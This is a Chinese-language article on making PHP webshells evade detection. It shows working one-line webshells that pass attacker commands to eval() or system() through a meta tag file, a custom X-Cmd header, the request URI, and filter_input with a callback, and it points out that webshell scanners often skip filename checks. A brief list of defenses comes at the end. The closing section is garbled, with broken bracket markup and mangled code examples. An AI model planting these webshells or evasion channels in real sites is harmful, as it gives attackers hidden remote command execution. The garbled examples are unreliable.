PHP Webshell免杀技术:控制传入内容的方法详解
前言
在PHP Webshell的研究中,如何安全地控制外部传入参数是一个关键问题。本文将详细介绍几种控制传入内容的技术方法,重点研究如何实现参数的安全传入。
基础全局变量
PHP提供了多种获取外部传入数据的全局变量:
-
$_GET:
- 用于收集通过URL查询字符串传递的数据
- 示例:
example.com/page.php?name=John&age=25中,$_GET['name']为"John"
-
$_POST:
- 用于收集通过HTTP POST方法发送的数据
- 常用于表单提交,如
$_POST['username']
-
$_COOKIE:
- 用于访问客户端存储的cookie数据
- 示例:
$_COOKIE['user']获取cookie值
-
$_REQUEST:
- 合并了\(_GET、\)_POST和$_COOKIE中的数据
- 若GET和POST有相同参数,优先返回POST值
-
$_SERVER:
- 包含服务器和执行环境信息
- 重要元素:
$_SERVER['REQUEST_METHOD']、$_SERVER['HTTP_USER_AGENT']
-
$_FILES:
- 处理通过HTTP POST上传的文件信息
-
$GLOBALS:
- 超级全局数组,包含所有全局变量
高级参数控制技术
1. 利用get_meta_tags函数
分析:
get_meta_tags函数从一个文件中提取所有meta标签的content属性,返回数组。
Webshell示例:
// 1.html内容如下:
// <meta name="cmd" content="system('whoami');" />
$meta = get_meta_tags('1.html');
eval($meta['cmd']);
2. 使用getallheaders函数
分析:
getallheaders获取全部HTTP请求头信息,返回关联数组。
Webshell示例:
$headers = getallheaders();
eval($headers['X-Cmd']); // 通过X-Cmd头传入命令
3. 利用get_defined_vars函数
分析:
get_defined_vars返回所有已定义变量组成的数组,包含$_SERVER等信息。
Webshell示例:
$vars = get_defined_vars();
// 通过控制文件名或URI参数传入命令
eval($vars['_SERVER']['REQUEST_URI']);
4. 使用filter_input函数
分析:
filter_input通过名称获取特定外部变量,并可应用过滤器处理。
参数类型:
- INPUT_GET, INPUT_POST, INPUT_COOKIE, INPUT_SERVER或INPUT_ENV
Webshell示例:
// 通过URL参数传入:?cmd=whoami
$cmd = filter_input(INPUT_GET, 'cmd', FILTER_UNSAFE_RAW);
system($cmd);
// 使用自定义回调函数
function evil($value) {
system($value);
return $value;
}
filter_input(INPUT_GET, 'cmd', FILTER_CALLBACK, ['options' => 'evil']);
高级技巧与注意事项
- $_SERVER的深入利用:
$_SERVER['HTTP_ACCEPT']等HTTP头字段可作为参数传入点- 示例:`eval(
\[string1['HTTP_ACCEPT'])` 2. **文件名控制**: - 通过`$_SERVER['SCRIPT_NAME']`或`$_SERVER['REQUEST_URI']`获取文件名 - 在Webshell检测中通常忽略文件名检查 3. **过滤器的高级应用**: - 使用`FILTER_CALLBACK`设置自定义处理方法 - 通过options数组配置回调函数 4. **动态变量执行**: - 结合` \]
`语法实现动态变量名访问
- 示例:`
\[dynamic_var`执行动态命令 ## 防御建议 1. 对所有外部输入进行严格过滤和验证 2. 禁用危险函数如`eval()`、`system()`等 3. 限制文件包含操作 4. 监控异常HTTP头字段 5. 定期更新Web应用防火墙规则 通过深入理解这些参数控制技术,安全研究人员可以更好地评估Web应用的安全性,同时开发人员也能更有效地防范潜在威胁。\]